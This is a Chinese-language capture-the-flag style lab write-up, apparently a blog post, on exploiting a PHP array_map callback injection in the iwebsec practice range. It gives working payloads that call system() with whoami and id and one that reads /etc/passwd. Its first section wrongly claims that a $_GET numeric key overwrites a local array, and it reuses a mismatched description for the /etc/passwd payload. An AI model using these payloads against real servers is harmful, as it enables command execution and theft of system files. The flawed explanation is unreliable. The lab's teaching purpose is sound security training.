目录
本文通过《iwebsec靶场代码执行漏洞第六关 06 array_map函数》来进行渗透实战。
一、代码执行关卡array_map渗透原理
打开iwebsec靶场代码执行关卡的06-array_map关,如下图红框所示。

(一) array_map简介
array_map 是 PHP 中用于对数组元素批量应用回调函数的高阶函数,它接收一个回调函数和一个或多个数组作为参数,并将回调并行应用到所有数组的对应元素上。
array_map(callable $callback, array $array1, array ...$arrays): array
array_map — 为数组每个元素应用回调函数,可调用自定义函数。当处理单个数组时,它会遍历每个元素并返回由回调结果组成的新数组;当处理多个数组时,它会同步遍历各数组的当前元素,并将它们作为参数传递给回调函数。若回调设为 null 且传入多个数组,则返回由各数组同位置元素组成的子数组(类似矩阵转置)。参数含义如下所示。
-
$callback(可调用类型,可为 null)-
要对每个数组元素执行的回调函数
-
如果为
null,则会创建多维数组(当提供多个数组时) -
回调函数应接受与传入数组数量相同的参数
-
-
$array(数组)-
第一个要处理的输入数组
-
必需参数
-
-
...$arrays(可变数量的数组参数)-
可选的其他输入数组
-
如果提供多个数组,
array_map()会并行迭代它们
-
(二) array_map利用
如下为利用方法示例。
// 漏洞代码示例
$func = $_GET['callback'];
$data = [1, 2, 3];
$result = array_map($func, $data);
攻击向量参数分解如下所示。
?callback=system&0=whoami
1、callback=system
-
作用:控制
$func变量值为system -
结果:
array_map()的第一个参数变成system函数 -
等效代码:
$result = array_map('system', [1, 2, 3]);
2、0=whoami 部分
-
原理:PHP 会解析
0=whoami为$_GET[0] = 'whoami' -
数组覆盖:
$_GET是超全局数组,数字索引会修改$data数组 -
实际效果:
$data[0] = 'whoami'; // 原始数组 [1,2,3] 被修改为 ['whoami',2,3]
3、 最终执行流程
array_map('system', ['whoami', 2, 3]) 执行
如上脚本会对数组每个元素调用 system():
1) 第一次迭代:system('whoami') → 执行系统命令
2)后续迭代:system(2) 和 system(3) 也会执行但无实质影响
二、代码执行关卡array_map函数渗透实战
(一)源码分析
进入iwebsec的代码执行第6关卡,如下所示

找到对应的源码,发现关键代码array_map , 具体如下所示。

接下来我们对漏洞代码进行分析,array_map会产生代码注入漏洞,具体解释如下。
$func = $_GET['func']; // 用户可控的回调函数名
$argv = $_GET['argv']; // 用户可控的参数值
$array[0] = $argv; // 将参数放入数组
array_map($func, $array); // 动态调用函数
漏洞原因如下所示。
1、未过滤的用户输入直接作为回调函数
(1)$_GET['func'] 直接赋给 $func 并作为 array_map 的第一个参数
(2)攻击者可控制要执行的任意函数
2、参数完全可控
(1)$_GET['argv'] 直接作为回调函数的参数
(2)攻击者可指定任意参数值
3、漏洞函数调用
(1)array_map() 无条件信任传入的回调函数
(2)没有对函数名和参数进行任何安全检查
漏洞利用方法如下所示。
func=system&argv=id
该代码注入回调函数为 system()(系统命令执行函数),设置参数为 Linux/Unix 的 id 命令,该命令会返回当前用户权限信息
(二)渗透实战
1、方法1
注入语句:func=system&argv=id
这个语句等于执行如下的代码,即获取当前用户的信息。
array_map('system', ['id']);

2、方法2
注入语句:?func=system&argv=cat /etc/passwd
这个语句等于执行如下的代码,即获取当前用户的信息。
array_map('system', ['cat /etc/passwd ']);

2789

被折叠的 条评论
为什么被折叠?



